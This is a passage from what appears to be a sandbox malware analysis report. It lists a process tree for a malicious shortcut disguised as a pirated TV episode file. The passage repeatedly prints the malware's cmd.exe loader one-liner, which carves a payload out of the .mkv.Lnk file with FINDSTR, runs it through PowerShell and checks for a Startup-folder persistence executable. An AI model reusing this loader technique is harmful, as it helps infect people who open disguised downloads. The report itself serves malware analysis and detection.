        FINDSTR /v "zDG2j lb8L0263" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        35⤵
        
        PID:3844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        35⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2040
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        36⤵
        Suspicious use of WriteProcessMemory
        
        PID:3432
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0329" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        37⤵
        
        PID:6088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        37⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        38⤵
        Suspicious use of WriteProcessMemory
        
        PID:1604
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0387" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        39⤵
        
        PID:1672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        39⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1908
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        40⤵
        Suspicious use of WriteProcessMemory
        
        PID:5912
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0446" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        41⤵
        
        PID:3800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        41⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4228
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        42⤵
        Suspicious use of WriteProcessMemory
        
        PID:2112
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0524" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        43⤵
        
        PID:3796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        43⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1020
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        44⤵
        
        PID:5344
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0593" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        45⤵
        
        PID:3044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        45⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2384
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        46⤵
        
        PID:4636
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0663" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        47⤵
        
        PID:5488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        47⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        48⤵
        
        PID:1160
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0735" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        49⤵
        
        PID:3400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        49⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5936
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        50⤵
        
        PID:5428
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0804" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        51⤵
        
        PID:4348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        51⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4112
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        52⤵
        
        PID:1312
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0866" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        53⤵
        
        PID:4400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        53⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6028
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        54⤵
        
        PID:5892
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0926" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        55⤵
        
        PID:884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        55⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        56⤵
        
        PID:4720
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0980" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        57⤵
        
        PID:4336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        57⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        58⤵
        
        PID:4476
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0041" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        59⤵
        
        PID:6124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        59⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4580
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        60⤵
        
        PID:5220
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0110" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        61⤵
        
        PID:1176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        61⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3164
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        62⤵
        
        PID:3496
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0184" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        63⤵
        
        PID:1004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        63⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5940
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        64⤵
        
        PID:5028
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0259" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        65⤵
        
        PID:4412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        65⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5104
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        66⤵
        
        PID:1100
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0318" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        67⤵
        
        PID:4644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        67⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3396
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        68⤵
        
        PID:5260
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0359" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        69⤵
        
        PID:2000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        69⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2644
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        70⤵
        
        PID:4408
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0421" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        71⤵
        
        PID:5584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        71⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3916
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        72⤵
        
        PID:976
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0488" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        73⤵
        
        PID:5568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        73⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5284
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        74⤵
        
        PID:5800
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0557" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        75⤵
        
        PID:4148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        75⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        76⤵
        
        PID:404
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0620" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        77⤵
        
        PID:1752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        77⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2828
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        78⤵
        
        PID:3524
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0682" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        79⤵
        
        PID:2348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        79⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3376
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        80⤵
        
        PID:3604
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0745" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        81⤵
        
        PID:2780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        81⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        82⤵
        
        PID:4240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0816" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        83⤵
        
        PID:5320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        83⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4792
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        84⤵
        
        PID:5216
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        85⤵
        
        PID:1176
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0887" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        85⤵
        
        PID:2832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        85⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        86⤵
        
        PID:5192
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0946" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        87⤵
        
        PID:6128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        87⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2668
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        88⤵
        
        PID:5968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0004" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        89⤵
        
        PID:1672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        89⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2728
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        90⤵
        
        PID:3992
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0070" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        91⤵
        
        PID:464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        91⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5748
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
